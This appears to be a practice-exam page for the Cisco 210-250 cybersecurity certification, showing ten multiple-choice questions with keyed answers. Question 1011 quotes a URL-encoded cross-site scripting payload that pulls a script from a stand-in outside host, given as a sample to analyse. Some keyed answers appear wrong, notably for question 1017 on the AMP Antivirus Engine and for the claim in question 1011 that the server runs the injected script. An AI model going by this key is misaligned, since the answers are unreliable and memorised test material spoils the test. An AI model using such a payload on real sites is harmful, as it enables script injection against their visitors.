Cisco 210-250 Online Practice Questions and Exam Preparation

Cisco 210-250 Online Questions & Answers

• Question 1011:

  Referring to the suspicious URL that is shown below, which three statements are correct? (Choose three.)

  http://www.example.com/script.php?data=%3cscript%20src=%22http%3a%2f%2fwww.example1.com%2ftest.js%22%3e%3c%2fscript%3e

  A. The www.example.com web server has a vulnerable PHP script.
  B. The attacker is attempting to cause the www.example.com web server to execute an external script from the www.example1.com server.
  C. The attacker is attempting to hide the attack by encoding part of the URL.
  D. The attacker is exploiting a vulnerability in the client web browser using a PHP script.
  E. The attacker is using directory traversal to access a directory that is outside of the www.example.com web server's root directory.
  A. The www.example.com web server has a vulnerable PHP script.
  B. The attacker is attempting to cause the www.example.com web server to execute an external script from the www.example1.com server.
  C. The attacker is attempting to hide the attack by encoding part of the URL.

• Question 1012:

  If your current directory location is /var/pcap/, which two commands can you use to change the directory location to /var/log? (Choose two.)

  A. cd ../log
  B. cd ./log
  C. cd /var/log
  D. cd log
  A. cd ../log
  C. cd /var/log

• Question 1013:

  Which term represents a weakness in a system that could lead to the system being compromised?

  A. vulnerability
  B. threat
  C. exploit
  D. risk
  A. vulnerability

• Question 1014:

  Which option is an advantage to using network-based anti-virus versus host-based anti- virus?

  A. Network-based has the ability to protect unmanaged devices and unsupported operating systems.
  B. There are no advantages compared to host-based antivirus.
  C. Host-based antivirus does not have the ability to collect newly created signatures.
  D. Network-based can protect against infection from malicious files at rest.
  D. Network-based can protect against infection from malicious files at rest.

• Question 1015:

  Which term represents a potential danger that could take advantage of a weakness in a system?

  A. vulnerability
  B. risk
  C. threat
  D. exploit
  C. threat

• Question 1016:

  What command line tool can be used to capture specific traffic for passive analysis?

  A. capturetcp
  B. tcpgrab
  C. tcpdump
  D. sniffTCP
  C. tcpdump

• Question 1017:

  Which benefit does the Antivirus Engine within AMP for Endpoints provide?

  A. It displays all files that have been executed across your organization, ordered by prevalence from lowest to highest.
  B. It continuously tracks file propagation over time throughout your environment.
  C. It performs offline and system-based detections, including rootkit scanning.
  D. It provides visibility into which command-line arguments are used to launch executables.
  B. It continuously tracks file propagation over time throughout your environment.

• Question 1018:

  In which case should an employee return his laptop to the organization?

  A. When moving to a different role
  B. Upon termination of the employment
  C. As described in the asset return policy
  D. When the laptop is end of lease
  C. As described in the asset return policy

• Question 1019:

  When investigating a malicious Windows application, which two Windows components that are associated with the application will also need to be investigated? (Choose two.)

  A. threads
  B. DLLs
  C. processes
  D. kernel object handles
  A. threads
  C. processes

• Question 1020:

  Which type of encryption algorithm uses the same key to encrypt and decrypt data?

  A. symmetric encryption algorithm
  B. Diffie-Hellman algorithm
  C. asymmetric encryption algorithm
  D. dodecaphonic algorithm
  A. symmetric encryption algorithm